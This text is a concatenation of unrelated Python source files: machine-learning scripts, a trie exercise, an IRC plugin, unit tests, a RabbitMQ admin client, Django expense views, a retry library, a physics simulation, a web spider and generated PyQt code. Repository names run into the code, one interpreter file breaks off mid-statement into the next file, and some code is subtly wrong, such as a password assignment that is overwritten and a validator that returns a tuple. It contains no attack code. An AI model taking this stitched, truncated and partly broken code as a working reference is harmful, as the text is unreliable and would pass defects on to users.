F.cross_entropy(class_proba_s, interaction.message) print('Epoch: {}; Receiver loss: {}; Sender loss: {}'.format(t, r_loss, s_loss)) r_loss.backward() s_loss.backward() optimizer_r.step() optimizer_s.step() if __name__=='__main__': import sys main('saved_models/checkpoint_wrapper_randomseed1.pkl', sys.argv[1:]) 0 from typing import DefaultDict, List import bisect def suggestProductsWithBisect(products, searchWord): products.sort() res, prefix, i = [], '', 0 for c in searchWord: prefix += c i = bisect.bisect_left(products, prefix, i) res.append([w for w in products[i: i + 3] if w.startswith(prefix)]) return res def suggestedProducts(products: List[str], searchWord: str) -> List[List[str]]: trie = Trie() for product in products: trie.insert(product) res = [] for i in range(len(searchWord)): res.append(trie.search(searchWord[:i+1])) return res class TrieNode: def __init__(self): self.children = DefaultDict(TrieNode) self.isWord = False class Trie: def __init__(self) -> None: self.root = TrieNode() def insert(self, word): curr = self.root for c in word: curr = curr.children[c] curr.isWord = True def search(self, word): self.res = [] curr = self.root for c in word: if c not in curr.children: return [] curr = curr.children[c] def dfs(curr, w): if len(self.res) == 3: return if curr.isWord: self.res.append(word + w) for key in sorted(curr.children): dfs(curr.children[key], w + key) dfs(curr, '') return self.res def main(): print(suggestedProducts(["mobile","mouse","moneypot","monitor","mousepad"] , "mouse")) if __name__ == "__main__": main() """ Key Takeaways: 1. Learn how to implement Trie in Python 2. Implement Trie on your own next Time 3. Use Default Dict to simplify Code and reduced if else statements 4. Keep the code clean """pyhole/plugins/kernel.py # Copyright 2011-2016 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Pyhole Kernel.org Plugin""" import re from pyhole.core import plugin from pyhole.core import request from pyhole.core import utils class Kernel(plugin.Plugin): """Provide access to kernel.org data.""" @plugin.hook_add_command("kernel") @utils.spawn def kernel(self, message, params=None, **kwargs): """Retrieve the current kernel version (ex: .kernel)""" url = "https://www.kernel.org/kdist/finger_banner" response = request.get(url) if response.status_code != 200: return r = re.compile("(.* mainline .*)") m = r.search(response.content) kernel = m.group(1).replace(" ", "") message.dispatch(kernel) kjappelbaum/scikit-uedtests/time_series/test_time_zero.py0 from skued import register_time_shift, register_time_shifts import unittest import numpy as np from scipy.ndimage.interpolation import shift as scipy_shift np.random.seed(23) class TestTimeShift(unittest.TestCase): def test_trivial(self): """ Test that the time-shift between two identical traces is zero. """ with self.subTest("Even length"): trace1 = np.sin(2 * np.pi * np.linspace(0, 10, 64)) trace2 = np.array(trace1, copy=True) shift = register_time_shift(trace1, trace2) self.assertEqual(shift, 0) with self.subTest("Odd length"): trace1 = np.sin(2 * np.pi * np.linspace(0, 10, 65)) trace2 = np.array(trace1, copy=True) shift = register_time_shift(trace1, trace2) self.assertEqual(shift, 0) def test_shift_no_noise(self): """ Test measuring the time-shift between traces shifted from one another, without added noise """ trace1 = np.sin(2 * np.pi * np.linspace(0, 10, 64)) trace2 = np.roll(trace1, 5) shift = register_time_shift(trace1, trace2) self.assertEqual(shift, -5) def test_shift_with_noise(self): """ Test measuring the time-shift between traces shifted from one another, with added 6% gaussian noise """ trace1 = np.sin(2 * np.pi * np.linspace(0, 10, 64)) trace2 = scipy_shift(trace1, 5) trace1 = trace1[6:-6] trace2 = trace2[6:-6] trace1 += 0.03 * np.random.random(size=trace1.shape) trace2 += 0.03 * np.random.random(size=trace2.shape) shift = register_time_shift(trace1, trace2) self.assertEqual(shift, -5) def test_shift_different_lengths(self): """ Test that register_time_shift() raises an exception if the reference and trace do not have the same shape """ with self.assertRaises(ValueError): trace1 = np.empty((16,)) trace2 = np.empty((8,)) register_time_shift(trace1, trace2) def test_shift_not1d(self): """ Test that register_time_shift() raises an exception if the reference or trace are not 1D """ with self.subTest("Trace not 1D"): with self.assertRaises(ValueError): trace1 = np.empty((16, 45)) trace2 = np.empty((8,)) register_time_shift(trace1, trace2) with self.subTest("Reference not 1D"): with self.assertRaises(ValueError): trace1 = np.empty((16,)) trace2 = np.empty((8, 2)) register_time_shift(trace1, trace2) class TestTimeShifts(unittest.TestCase): def test_trivial(self): """ Test that the time-shifts between identical time traces """ with self.subTest("Even lengths"): traces = [np.sin(2 * np.pi * np.linspace(0, 10, 64)) for _ in range(10)] shifts = register_time_shifts(traces) self.assertTrue(np.allclose(shifts, np.zeros_like(shifts))) with self.subTest("Odd lengths"): traces = [np.sin(2 * np.pi * np.linspace(0, 10, 31)) for _ in range(10)] shifts = register_time_shifts(traces) self.assertTrue(np.allclose(shifts, np.zeros_like(shifts))) def test_output_shape(self): """ Test the output shape """ with self.subTest("reference = None"): traces = [np.sin(2 * np.pi * np.linspace(0, 10, 64) + i) for i in range(10)] shifts = register_time_shifts(traces) self.assertTupleEqual(shifts.shape, (len(traces),)) # The first shift should then be zero # because it is the shift between the reference and itself self.assertEqual(shifts[0], 0) with self.subTest("reference is not None"): traces = [np.sin(2 * np.pi * np.linspace(0, 10, 64) + i) for i in range(10)] shifts = register_time_shifts( traces, reference=np.array(traces[0], copy=True) ) self.assertTupleEqual(shifts.shape, (len(traces),)) if __name__ == "__main__": unittest.main() Lioncat2002/KittyScript1-10 import sys import turtle if __name__=='__main__': i=0 c=0 stack=[] file=open(sys.argv[1]) res=file.readlines() file.close() rng=iter(range(len(res))) while i0 # python3.5 runtagger.py import sys import torch from buildtagger import POSTagger, WordEncoder, CharEncoder import numpy as np device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') def tag_sentence(test_file, model_file, out_file): with open(test_file, 'r') as f: lines = f.readlines() f.close() # Hyperparameters WORD_EMBEDDING_DIM = 100 CHAR_EMBEDDING_DIM = 50 CHAR_CNN_FILTER_SIZE = 3 HIDDEN_DIM = 128 N_LAYERS = 2 DROPOUT = 0.25 word_dict, tag_dict, char_dict, model_state_dict = torch.load(model_file) ix_to_tag = {} for tag in tag_dict: ix_to_tag[tag_dict[tag]] = tag # Computed values WORD_INPUT_DIM = len(word_dict) + 1 WORD_PAD_IDX = len(word_dict) CHAR_INPUT_DIM = len(char_dict) + 1 CHAR_PAD_IDX = len(char_dict) OUTPUT_DIM = len(tag_dict) + 1 word_encoder = WordEncoder(vocab_size=WORD_INPUT_DIM, embedding_dim=WORD_EMBEDDING_DIM, pad_idx=WORD_PAD_IDX) char_encoder = CharEncoder(vocab_size=CHAR_INPUT_DIM, embedding_dim=CHAR_EMBEDDING_DIM, filter_size=CHAR_CNN_FILTER_SIZE, hidden_dim=WORD_EMBEDDING_DIM, pad_idx=CHAR_PAD_IDX) model = POSTagger(char_encoder=char_encoder, word_encoder=word_encoder, output_dim=OUTPUT_DIM, hidden_dim=HIDDEN_DIM, n_layers=N_LAYERS, dropout=DROPOUT) model.load_state_dict(model_state_dict) model.to(device) ans = '' for line in lines: words_with_UNK = line.strip().split(' ') max_word_len = max([len(word) for word in words_with_UNK]) words = [word_dict[word] if word in word_dict else word_dict[''] for word in words_with_UNK] chars = [] for word in words_with_UNK: chars_in_word = [char_dict[char] for char in word] padding_len = max_word_len - len(chars_in_word) for _ in range(padding_len): chars_in_word.append(CHAR_PAD_IDX) chars.append(chars_in_word) words_tensor = torch.tensor(words, dtype=torch.long).view(-1, 1).to(device) chars_tensor = torch.tensor(chars, dtype=torch.long).view(1, -1, max_word_len).to(device) with torch.no_grad(): predictions = model(words_tensor, chars_tensor) predictions = predictions.view(-1, predictions.shape[-1]).cpu() assigned_tag_ix = np.argmax(predictions, axis=1).numpy() tagged_words = ['%s/%s ' % (words_with_UNK[i], ix_to_tag[assigned_tag_ix[i]]) for i in range(len(assigned_tag_ix))] for tagged_word in tagged_words: ans += tagged_word ans += '\n' with open(out_file, 'w') as f: f.write(ans) f.close() print('Finished...') if __name__ == "__main__": # make no changes here test_file = sys.argv[1] model_file = sys.argv[2] out_file = sys.argv[3] tag_sentence(test_file, model_file, out_file) 0 import pika import requests ENDPOINTS = { 'definitions': 'api/definitions', 'queues': 'api/queues', 'shovel': 'api/parameters/shovel/%2F/{shovel_name}', # For simplicity, we are not support dynamic vhosts for now 'shovels': 'api/shovels/%2F' } class RabbitMQAdmin(object): def __init__(self, host='localhost', port='15672', user='guest', passwd=''): self.host = host self.port = port self.user = user self.passwd = self.base = 'http://%s:%s'%(host, port) self.auth = requests.auth.HTTPBasicAuth(user, passwd) def get_definitions(self): res = self.__api_get(uri=ENDPOINTS.get('definitions')) if res.status_code == 200: return res.json() else: print('Error to get definitions', res.text) return {} def set_definitions(self, definitions): if not (isinstance(definitions, dict) or isinstance(definitions, requests.models.Response)): print('Invalid definitions', definitions) res = requests.models.Response() res.status_code = 415 res.reason = "Unsupported definitions type" return res defs = definitions if isinstance(definitions, dict) else definitions.json() res = self.__api_post(defs, uri=ENDPOINTS.get('definitions')) if res.status_code > 300: print('Error to set definitions', res.text) return res def create_shovels(self, from_rabbit_instance, exclude_empty=True): if not isinstance(from_rabbit_instance, RabbitMQAdmin): return queues = from_rabbit_instance.get_queues(exclude_empty=exclude_empty) if len(queues) > 0: for q in queues: self.create_queue_shovel(q, from_rabbit_instance.host, self.host) else: print('No queues found') def delete_shovels(self): uri = ENDPOINTS.get('shovels') res = self.__api_get(uri=uri) if res.status_code == 200: for shovel in res.json(): self.delete_shovel(shovel.get('name')) else: print('Error to get shovels list', res.text) def delete_shovel(self, shovel_name=None): if not shovel_name: return False shovel_uri = ENDPOINTS.get('shovel').format(shovel_name = shovel_name) res = self.__api_delete(uri=shovel_uri) if res.status_code > 300: print('Error to delete shovel', shovel_name, res.text) return res def create_queue_shovel(self, queue_name, src_host, dest_host, src_port='5672', dest_port='5672'): if not queue_name: return False shovel_name = "shovel-%s"%queue_name payload = { "component": "shovel", "name": shovel_name, "value": { "src-uri": "amqp://%s:%s"%(src_host, src_port), "src-queue": queue_name, "dest-uri": "amqp://%s:%s"%(dest_host, dest_port), "dest-queue": queue_name, "ack-mode": "on-confirm", "add-forward-headers": False, "delete-after": "never", "prefetch-count": 0, "reconnect-delay": 5 } } shovel_uri = ENDPOINTS.get('shovel').format(shovel_name = shovel_name) res = self.__api_put(payload, uri=shovel_uri) if res.status_code > 300: print('Error to create queue shovel', queue_name, res.text) return res def get_queues(self, exclude_empty=False): res = self.__api_get(ENDPOINTS.get('queues')) if res.status_code > 300: print('Error to get queues', res.text) return [] queues = [] rqueues = res.json() if exclude_empty: queues = [q.get('name') for q in rqueues if (q.get('messages') and q.get('messages') > 0)] else: queues = [q.get('name') for q in rqueues] return queues def __api_get(self, uri=None): if uri is None: return None url = '/'.join([self.base, uri]) return requests.get(url, auth=self.auth) def __api_post(self, payload, uri=None): if uri is None: return None url = '/'.join([self.base, uri]) return requests.post(url, auth=self.auth, json=payload) def __api_put(self, payload, uri=None): if uri is None: return None url = '/'.join([self.base, uri]) return requests.put(url, auth=self.auth, json=payload) def __api_delete(self, uri=None): if uri is None: return None url = '/'.join([self.base, uri]) return requests.delete(url, auth=self.auth) from django.shortcuts import render from Finance_Project.models import expense from django.contrib import messages from django.db.models import Func import json from django.db.models import Sum # Create your views here. def Extract(field, date_field='DOW'): template = "EXTRACT({} FROM %(expressions)s::timestamp)".format(date_field) return Func(field, template=template) #Import models of login after creation def showExpense(request): # results=Employee.objects.all() # print(results) storage = messages.get_messages(request) storage.used = True import datetime today=datetime.date.today() if request.method=='POST' and 'date_submit' in request.POST: # if request.method=='POST': print("hey") date_start=request.POST.get('date_start') date_end=request.POST.get('date_end') print(date_start) print(date_end) U_id=request.session.get("User_id") if date_end > date_start: pass else: messages.error(request,"Please enter date properly") user_expenses_details=expense.objects.filter(user_id=U_id).order_by('Date_time') print(user_expenses_details) return render(request,'viewExpenseStat.html',{'expenses': user_expenses_details}) user_expenses_details=expense.objects.filter(user_id=U_id,Date_time__range=(date_start,date_end)) print(user_expenses_details) a=user_expenses_details.annotate(month_stamp=Extract('Date_time', 'month')).values_list('month_stamp').annotate(total=Sum('Amount')).order_by('month_stamp') user_exp_mon_num=[] user_exp_mon_amount=[] # a=expense.objects.raw('select extract(month from "Date_time")as MonthNum,sum("Amount") as TotAmount from "expense" where extract(year from "Date_time")=2020 AND "user_id"='+str(U_id)+' group by extract(month from "Date_time")') # print(a) for x in a: # print(x[0]) user_exp_mon_num.append(x[0]) user_exp_mon_amount.append(x[1]/1000) # print(x[1]) t1=0 for x in range(1,13): if x not in user_exp_mon_num: user_exp_mon_num.insert(t1,x) user_exp_mon_amount.insert(t1,0.00) t1+=1 print(user_exp_mon_num) print(user_exp_mon_amount) # t1=user_expenses_mon.Monthnum # t2=user_expenses_mon.TotAmount # print(user_expenses_mon) # print(t2) # user_expenses_details=expense.objects.filter(user_id=U_id,Date_time__month=today.month) user_expenses_names=[] user_expenses_perc=[] temp_dict_exp={} total_exp=expense.objects.filter(user_id=U_id).aggregate(Sum('Amount'))['Amount__sum'] for x in user_expenses_details: temp_dict_exp[x.Type]=0 for x in user_expenses_details: exp_per=int(x.Amount)*100 /int(total_exp) temp_dict_exp[x.Type]=round(temp_dict_exp[x.Type]+exp_per,2) for x in temp_dict_exp: print(str(x)+':'+str(temp_dict_exp[x])) for i in temp_dict_exp: user_expenses_names.append(i) user_expenses_perc.append(temp_dict_exp[i]) U_name=request.session["User_name"] results2={ "user_exp_mon_num":user_exp_mon_num, "user_exp_mon_amount":user_exp_mon_amount, "user_expenses_names":user_expenses_names, "user_expenses_perc":user_expenses_perc, "current_user_id":U_id, "current_user":U_name } results2_JSON=json.dumps(results2) return render(request,'viewExpenseStat.html',{'expenses': user_expenses_details,"dataval":results2_JSON}) else: print("HEYYYYYYYYYYY") U_id=request.session.get("User_id") user_expenses_details1=expense.objects.filter(user_id=U_id,Date_time__year=today.year).order_by('Date_time') user_expenses_details=expense.objects.filter(user_id=U_id).order_by('Date_time') print(user_expenses_details) a=user_expenses_details1.annotate(month_stamp=Extract('Date_time', 'month')).values_list('month_stamp').annotate(total=Sum('Amount')).order_by('month_stamp') user_exp_mon_num=[] user_exp_mon_amount=[] # a=expense.objects.raw('select extract(month from "Date_time")as MonthNum,sum("Amount") as TotAmount from "expense" where extract(year from "Date_time")=2020 AND "user_id"='+str(U_id)+' group by extract(month from "Date_time")') # print(a) for x in a: # print(x[0]) user_exp_mon_num.append(x[0]) user_exp_mon_amount.append(x[1]/1000) # print(x[1]) t1=0 for x in range(1,13): if x not in user_exp_mon_num: user_exp_mon_num.insert(t1,x) user_exp_mon_amount.insert(t1,0.00) t1+=1 print(user_exp_mon_num) print(user_exp_mon_amount) # t1=user_expenses_mon.Monthnum # t2=user_expenses_mon.TotAmount # print(user_expenses_mon) # print(t2) user_expenses_details3=expense.objects.filter(user_id=U_id,Date_time__month=today.month) user_expenses_names=[] user_expenses_perc=[] temp_dict_exp={} total_exp=expense.objects.filter(user_id=U_id,Date_time__month=today.month).aggregate(Sum('Amount'))['Amount__sum'] for x in user_expenses_details3: temp_dict_exp[x.Type]=0 for x in user_expenses_details3: exp_per=int(x.Amount)*100 /int(total_exp) temp_dict_exp[x.Type]=round(temp_dict_exp[x.Type]+exp_per,2) for x in temp_dict_exp: print(str(x)+':'+str(temp_dict_exp[x])) for i in temp_dict_exp: user_expenses_names.append(i) user_expenses_perc.append(temp_dict_exp[i]) U_name=request.session["User_name"] results2={ "user_exp_mon_num":user_exp_mon_num, "user_exp_mon_amount":user_exp_mon_amount, "user_expenses_names":user_expenses_names, "user_expenses_perc":user_expenses_perc, "current_user_id":U_id, "current_user":U_name } results2_JSON=json.dumps(results2) return render(request,'viewExpenseStat.html',{'expenses': user_expenses_details,"dataval":results2_JSON}) def AddExpense(request): if request.method=='POST' and 'Expense' in request.POST: # from __main__ import * # u_id = U_id # count_income=income.objects.raw("SELECT COUNT(*) FROM income;") # inc_id = count_income+1 #print(inc_id) u_id=request.session.get("User_id") exp_amount=int(request.POST.get('Expense_amount')) print(u_id) print(exp_amount) exp_date=request.POST.get('Expense_date') exp_type=request.POST.get('Expense_type') exp_desc=request.POST.get('Expense_desc') exp_worth=request.POST.get('worth') print(exp_worth) print(exp_desc) print(exp_date) print('YESSSSS') U_name=request.session["User_name"] results2={ "current_user_id":u_id, "current_user":U_name } results2_JSON=json.dumps(results2) try: if is_valid(exp_amount): messages.success(request,'Expense added successfully') print("sucess") except ValueError as e: messages.error(request,''+ str(e)) print("sucess not") try: save_expense=expense() #user_count=SignUp_details.objects.raw("SELECT COUNT(*) FROM signup_details;") #saverecord.user_id=int(user_count)+1 user_count=expense.objects.all().count() save_expense.Expense_id=int(user_count)+1 save_expense.user_id=u_id save_expense.Amount=exp_amount save_expense.Date_time=exp_date save_expense.Type=exp_type save_expense.detail=exp_desc save_expense.worth=exp_worth save_expense.save() messages.success(request,'Expense added successfully!!!') print("sucess") return render(request,'addExpense.html',{'dataval':results2_JSON}) except ValueError as e: print(e) return render(request,'addExpense.html',{'dataval':results2_JSON}) else : u_id=request.session.get("User_id") U_name=request.session["User_name"] results2={ "current_user_id":u_id, "current_user":U_name } results2_JSON=json.dumps(results2) return render(request,'addExpense.html',{'dataval':results2_JSON}) def is_valid(exp_amount): amount_reason = amount_valid(exp_amount) if not amount_reason == '': raise ValueError(amount_reason) return False def amount_valid(exp_amount): if exp_amount < 0 : reason=('Amount entered is not valid.') return '',reason else: return '' 0 # -*- encoding: utf-8 -*- # # Copyright 2016–2021 # Copyright 2016 # Copyright 2013-2014 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import abc import re import six @six.add_metaclass(abc.ABCMeta) class retry_base(object): """Abstract base class for retry strategies.""" @abc.abstractmethod def __call__(self, retry_state): pass def __and__(self, other): return retry_all(self, other) def __or__(self, other): return retry_any(self, other) class _retry_never(retry_base): """Retry strategy that never rejects any result.""" def __call__(self, retry_state): return False retry_never = _retry_never() class _retry_always(retry_base): """Retry strategy that always rejects any result.""" def __call__(self, retry_state): return True retry_always = _retry_always() class retry_if_exception(retry_base): """Retry strategy that retries if an exception verifies a predicate.""" def __init__(self, predicate): self.predicate = predicate def __call__(self, retry_state): if retry_state.outcome.failed: return self.predicate(retry_state.outcome.exception()) else: return False class retry_if_exception_type(retry_if_exception): """Retries if an exception has been raised of one or more types.""" def __init__(self, exception_types=Exception): self.exception_types = exception_types super(retry_if_exception_type, self).__init__( lambda e: isinstance(e, exception_types) ) class retry_if_not_exception_type(retry_if_exception): """Retries except an exception has been raised of one or more types.""" def __init__(self, exception_types=Exception): self.exception_types = exception_types super(retry_if_not_exception_type, self).__init__( lambda e: not isinstance(e, exception_types) ) class retry_unless_exception_type(retry_if_exception): """Retries until an exception is raised of one or more types.""" def __init__(self, exception_types=Exception): self.exception_types = exception_types super(retry_unless_exception_type, self).__init__( lambda e: not isinstance(e, exception_types) ) def __call__(self, retry_state): # always retry if no exception was raised if not retry_state.outcome.failed: return True return self.predicate(retry_state.outcome.exception()) class retry_if_result(retry_base): """Retries if the result verifies a predicate.""" def __init__(self, predicate): self.predicate = predicate def __call__(self, retry_state): if not retry_state.outcome.failed: return self.predicate(retry_state.outcome.result()) else: return False class retry_if_not_result(retry_base): """Retries if the result refutes a predicate.""" def __init__(self, predicate): self.predicate = predicate def __call__(self, retry_state): if not retry_state.outcome.failed: return not self.predicate(retry_state.outcome.result()) else: return False class retry_if_exception_message(retry_if_exception): """Retries if an exception message equals or matches.""" def __init__(self, message=None, match=None): if message and match: raise TypeError( "{}() takes either 'message' or 'match', not both".format( self.__class__.__name__ ) ) # set predicate if message: def message_fnc(exception): return message == str(exception) predicate = message_fnc elif match: prog = re.compile(match) def match_fnc(exception): return prog.match(str(exception)) predicate = match_fnc else: raise TypeError( "{}() missing 1 required argument 'message' or 'match'".format( self.__class__.__name__ ) ) super(retry_if_exception_message, self).__init__(predicate) class retry_if_not_exception_message(retry_if_exception_message): """Retries until an exception message equals or matches.""" def __init__(self, *args, **kwargs): super(retry_if_not_exception_message, self).__init__(*args, **kwargs) # invert predicate if_predicate = self.predicate self.predicate = lambda *args_, **kwargs_: not if_predicate(*args_, **kwargs_) def __call__(self, retry_state): if not retry_state.outcome.failed: return True return self.predicate(retry_state.outcome.exception()) class retry_any(retry_base): """Retries if any of the retries condition is valid.""" def __init__(self, *retries): self.retries = retries def __call__(self, retry_state): return any(r(retry_state) for r in self.retries) class retry_all(retry_base): """Retries if all the retries condition are valid.""" def __init__(self, *retries): self.retries = retries def __call__(self, retry_state): return all(r(retry_state) for r in self.retries) gtoffoli/commons-cops # -*- coding: utf-8 -*-""" from django.conf import settings from django.db.models.signals import post_save, m2m_changed from actstream.models import Action from zinnia.models.entry import Entry from pybb.models import Topic, Post from django_messages.models import Message # 180414 GT: added message_post_save_handler from .models import Project from .tracking import track_action def project_post_save_handler(sender, **kwargs): project = kwargs['instance'] slug = project.slug group = project.group if group: if not group.name == slug: group.name = slug group.save() def entry_post_save_handler(sender, **kwargs): entry = kwargs['instance'] created = kwargs['created'] authors = entry.authors.all() if not created: for user in authors: track_action(None, user, 'Edit', entry) def entry_m2m_changed_handler(sender, **kwargs): entry = kwargs['instance'] action = kwargs['action'] # print (entry, action, entry.authors.all()) if action == 'post_add': authors = entry.authors.all() for user in authors: if not Action.objects.filter(verb='Create', actor_object_id=user.id, action_object_object_id=entry.id): track_action(None, user, 'Create', entry) def topic_post_save_handler(sender, **kwargs): topic = kwargs['instance'] created = kwargs['created'] user = topic.user """ 180921 MMR verb = created and 'Create' or 'Edit' track_action(None, user, verb, topic, target=topic.forum) """ forum = topic.forum if created: track_action(None, user, 'Create', topic, target=forum) def post_post_save_handler(sender, **kwargs): post = kwargs['instance'] created = kwargs['created'] user = post.user topic = post.topic forum = topic.forum #180921 MMR verb = created and 'Create' or 'Edit' track_action(None, user, 'Create', post, target=topic) def message_post_save_handler(sender, **kwargs): message = kwargs['instance'] created = kwargs['created'] project = message.project # print ('message_post_save_handler', message, created, project, message.sent_at, message.read_at, message.sender_deleted_at, message.recipient_deleted_at) if created: track_action(None, message.sender, 'Send', message, target=project) elif message.recipient_deleted_at and (not message.sender_deleted_at or message.recipient_deleted_at > message.sender_deleted_at): track_action(None, message.recipient, 'Delete', message, target=project) elif message.sender_deleted_at and (not message.recipient_deleted_at or message.sender_deleted_at > message.recipient_deleted_at): track_action(None, message.sender, 'Delete', message, target=project) elif message.read_at and message.read_at > message.sent_at: track_action(None, message.recipient, 'View', message, target=project) post_save.connect(project_post_save_handler, sender=Project) """ post_save.connect(entry_post_save_handler, sender=Entry) # m2m_changed.connect(entry_m2m_changed, sender=Author) m2m_changed.connect(entry_m2m_changed_handler, sender=Entry.authors.through) """ post_save.connect(topic_post_save_handler, sender=Topic) post_save.connect(post_post_save_handler, sender=Post) post_save.connect(message_post_save_handler, sender=Message) if settings.HAS_SAML2: from djangosaml2.signals import pre_user_save from django.contrib.auth.models import User, Group from commons.models import Project, ProjectMember def custom_update_user(sender, instance, attributes, user_modified, **kargs): community = Project.objects.get(slug='up2u') community.add_member(instance, editor=instance, state=1) return True # I modified the user object pre_user_save.connect(custom_update_user, sender=User) from setup import pygame, WIN, Inf, sqrt, HEIGHT, WIDTH class Particle: def __init__(self, position, velocity, radius, mass, color): self.p = position self.v = velocity self.radius = radius self.mass = mass self.color = color self.count = 0 def move(self, dt): self.p.x += self.v.x * dt self.p.y += self.v.y * dt def draw(self): pygame.draw.circle(WIN, self.color, self.p, self.radius) def particle_collision_time(self, particle): if self == particle: return Inf dx, dy = particle.p.x - self.p.x, particle.p.y - self.p.y dvx, dvy = particle.v.x - self.v.x, particle.v.y - self.v.y dvdr = dx * dvx + dy * dvy if dvdr > 0: return Inf dvdv = dvx * dvx + dvy * dvy drdr = dx * dx + dy * dy sigma = self.radius + particle.radius d = (dvdr * dvdr) - dvdv * (drdr - sigma * sigma) if d <= 0: return Inf return - (dvdr + sqrt(d))/dvdv def vertical_wall_collision_time(self): if self.v.x > 0: return (WIDTH - self.p.x - self.radius)/self.v.x elif self.v.x < 0: return (self.p.x - self.radius)/abs(self.v.x) else: return Inf def horizontal_wall_collision_time(self): if self.v.y > 0: return (HEIGHT - self.p.y - self.radius)/self.v.y elif self.v.y < 0: return (self.p.y - self.radius)/abs(self.v.y) else: return Inf # Using Newtons second law (momentum form) def particle_collision(self, particle): dx, dy = particle.p.x - self.p.x, particle.p.y - self.p.y dvx, dvy = particle.v.x - self.v.x, particle.v.y - self.v.y dvdr = dx * dvx + dy * dvy dist = self.radius + particle.radius J = 2 * self.mass * particle.mass * dvdr / \ ((self.mass + particle.mass) * dist) Jx = J * dx / dist Jy = J * dy / dist self.v.x += Jx / self.mass self.v.y += Jy / self.mass particle.v.x -= Jx / particle.mass particle.v.y -= Jy / particle.mass self.count += 1 particle.count += 1 # Collisions with walls causes the velocity's components to invert respectively def vertical_wall_collision(self): self.v.x = - self.v.x self.count += 1 def horizontal_wall_collision(self): self.v.y = - self.v.y self.count += 1 #coding:utf-8 import scrapy from scrapy.spider import BaseSpider from bs4 import BeautifulSoup class testSpider(scrapy.Spider): name = 'test' start_urls = ['https://s.2.taobao.com/list/list.htm?spm=2007.1000337.0.0.RrSiSG&catid=50100398&st_trust=1&page=1&ist=0'] def parse(self, response): for title in response.xpath('//*[contains(concat( " ", @class, " " ), concat( " ", "item-title", " " ))]//a'): yield scrapy.Request('http:'+title.xpath('@href').extract()[0], self.detail) def detail(self, response): data = BeautifulSoup(response.body, 'lxml') area = data.select('#J_Property > h1') print (area[0].get_text())# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'heb_tab.ui' # # Created by: PyQt5 UI code generator 5.12.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class TabPage(object): def setupUi(self, Form): Form.setObjectName("Form") Form.resize(1064, 541) Form.setLayoutDirection(QtCore.Qt.RightToLeft) self.gridLayout = QtWidgets.QGridLayout(Form) self.gridLayout.setObjectName("gridLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.verticalLayout_4 = QtWidgets.QVBoxLayout() self.verticalLayout_4.setObjectName("verticalLayout_4") self.horizontalLayout_7 = QtWidgets.QHBoxLayout() self.horizontalLayout_7.setObjectName("horizontalLayout_7") self.semester_average_label = QtWidgets.QLabel(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_average_label.sizePolicy().hasHeightForWidth()) self.semester_average_label.setSizePolicy(sizePolicy) self.semester_average_label.setMaximumSize(QtCore.QSize(70, 16777215)) self.semester_average_label.setObjectName("semester_average_label") self.horizontalLayout_7.addWidget(self.semester_average_label) self.semester_average_in = QtWidgets.QLineEdit(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_average_in.sizePolicy().hasHeightForWidth()) self.semester_average_in.setSizePolicy(sizePolicy) self.semester_average_in.setMaximumSize(QtCore.QSize(75, 16777215)) self.semester_average_in.setText("") self.semester_average_in.setAlignment(QtCore.Qt.AlignCenter) self.semester_average_in.setReadOnly(True) self.semester_average_in.setObjectName("semester_average_in") self.horizontalLayout_7.addWidget(self.semester_average_in) self.verticalLayout_4.addLayout(self.horizontalLayout_7) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setObjectName("horizontalLayout_8") self.semester_points_label = QtWidgets.QLabel(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_points_label.sizePolicy().hasHeightForWidth()) self.semester_points_label.setSizePolicy(sizePolicy) self.semester_points_label.setMaximumSize(QtCore.QSize(70, 16777215)) self.semester_points_label.setObjectName("semester_points_label") self.horizontalLayout_8.addWidget(self.semester_points_label) self.semester_points_in = QtWidgets.QLineEdit(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_points_in.sizePolicy().hasHeightForWidth()) self.semester_points_in.setSizePolicy(sizePolicy) self.semester_points_in.setMaximumSize(QtCore.QSize(75, 16777215)) self.semester_points_in.setText("") self.semester_points_in.setAlignment(QtCore.Qt.AlignCenter) self.semester_points_in.setReadOnly(True) self.semester_points_in.setObjectName("semester_points_in") self.horizontalLayout_8.addWidget(self.semester_points_in) self.verticalLayout_4.addLayout(self.horizontalLayout_8) self.verticalLayout.addLayout(self.verticalLayout_4) spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout.addItem(spacerItem) self.horizontalLayout.addLayout(self.verticalLayout) self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout.addLayout(self.verticalLayout) 